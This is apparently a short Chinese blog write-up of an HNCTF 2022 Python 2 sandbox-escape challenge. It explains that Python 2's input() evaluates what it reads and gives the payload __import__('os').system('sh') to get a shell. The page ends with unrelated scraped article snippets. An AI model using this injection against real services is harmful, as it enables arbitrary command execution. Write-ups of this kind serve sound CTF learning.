首页 > 编程语言 >【misc】[HNCTF 2022 Week1]python2 input(JAIL) --沙盒逃逸,python2环境

【misc】[HNCTF 2022 Week1]python2 input(JAIL) --沙盒逃逸,python2环境

时间:2023-11-09 10:34:11浏览次数:41  
标签:__ 函数 HNCTF -- misc input 输入 python2

查看附件,这次有点不太一样,这次是python2的环境

只有一个input函数,但是python2的input函数可是不太一样:

在python2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值
在python2中,raw_input函数从标准输入接收输入,并返回输入字符串
在python3中,input函数从标准输入接收输入,并返回输入字符串

就是说python2环境下的input函数有执行代码的能力,所以输入__import__('os').system('sh')即可getshell

标签:__,函数,HNCTF,--,misc,input,输入,python2
From: https://www.cnblogs.com/GGbomb/p/17819136.html

相关文章

  • orcale中把查询结果是逗号多个人员的数据转换为单行,过滤重复的
    1.原本图 2.解决方法selectregexp_substr(a.numbers,'[^,]+',1,level)asnumbersfrom(selectdistinctid,numbersfromprojectwhereisdelete=0andisactive=1andnvl(objstatus,'402881e50c717307010c719745ce0009')!='402881e50c717307010c......
  • mysql 优化之开启慢查询并分析原因
      第一步.开启mysql慢查询方式一:修改配置文件my.ini增加几行:slow_query_log=on#开启慢查询日志slow_query_log_file=filename#指定日志文件保存路径,不指定的话默认在数据库文件目录下,名为hostname-slow.loglong_query_time=2#指定达到多少秒才算慢查询long-que......
  • 广州汽车托运注意事项
    十一月份来啦!!最近想要去海南过冬的宝子好多,千万不要选汽车托运因为真的太太太香啦~~可以把行李打包好放车上一起拖到目的地一大笔运费都省掉了超赞的好吗?!托运前大家一定要记住以下几点:贵重、私人物品别放车上,避免丢失。易燃易爆的物品别放车......
  • mysql常见问题及排查步骤
    问题一:数据库连接串测试报错:Couldnotcreateconnectiontodatabaseserver.504错误遇到数据库问题的通用排查步骤确定数据库没有挂确定远程可以连接(前两个可以通过在本地连接验证)以上都OK,大概率服务器ip被限制访问,如果不是人为限制,在可以访问的服务器连上对应数据库,执行......
  • scaled sign compressor(比例符号压缩器)
    1、信号处理领域在信号处理领域,"scaledsigncompressor"(比例符号压缩器)是一种用于压缩信号幅度的算法。它通常用于减小信号的动态范围,以便更有效地表示或传输信号。"scaledsigncompressor"的工作原理如下:首先,它计算信号的绝对值,并将其与预先设定的阈值进行比较。如果信号的绝......
  • 无涯教程-批处理 - Nested If 语句函数
    有时,要求彼此之间嵌入多个"if"语句。以下是此声明的一般形式。if(condition1)if(condition2)do_something因此,仅当满足condition1和condition2时,才会执行do_something块中的代码。以下是如何使用嵌套if语句的示例。@echooffSET/Aa=5SET/Ab=10if%a%==5if%b......
  • mysql8.x通过备份文件及binlog日志恢复数据
    问题简述记一次mysql数据库被误删(是整个库被删了)后的还原前提条件数据库版本为mysql8.x以上具有库被删除前的完整备份数据库开启binlog还原步骤第一步:通过完整备份还原被删的库注意事项:还原后切勿让其他用户连接,操作数据库。待使用binlog日志恢复数据后再对库进行操作,否......
  • 大模型训练,为OCR应用提升性能
    一、介绍PaddleOCR是一个基于深度学习的光学字符识别(OCR)工具,它可以帮助我们实现图像中文字的自动识别。随着深度学习技术的不断发展,PaddleOCR在文字识别领域的性能得到了广泛认可。本文将重点介绍PaddleOCR文字识别模型训练的关键步骤和注意事项。二、数据准备训练PaddleOCR文字识......
  • Spring Junit单元测试
    发现通过Spring进行bean管理后,做测试会有各种不足,例如,很多人做单元测试的时候,还要在Before方法中,初始化Spring容器,导致容器被初始化多次。@Beforepublicvoidinit(){newFileSystemXmlApplicationContext("classpath:spring/spring-basic.xml");......
  • 大模型训练中的同步与异步模式
    在深度学习领域,GPU(图形处理器)因其高效的并行计算能力而成为训练深度神经网络的常用硬件。当我们在一个GPU上训练模型时,我们通常会使用一种称为“数据并行”(DataParallelism)的技术,将数据集分成多个小块,并在多个GPU上并行处理。然而,当涉及到多个GPU的训练时,存在两种主要模式:同步模式......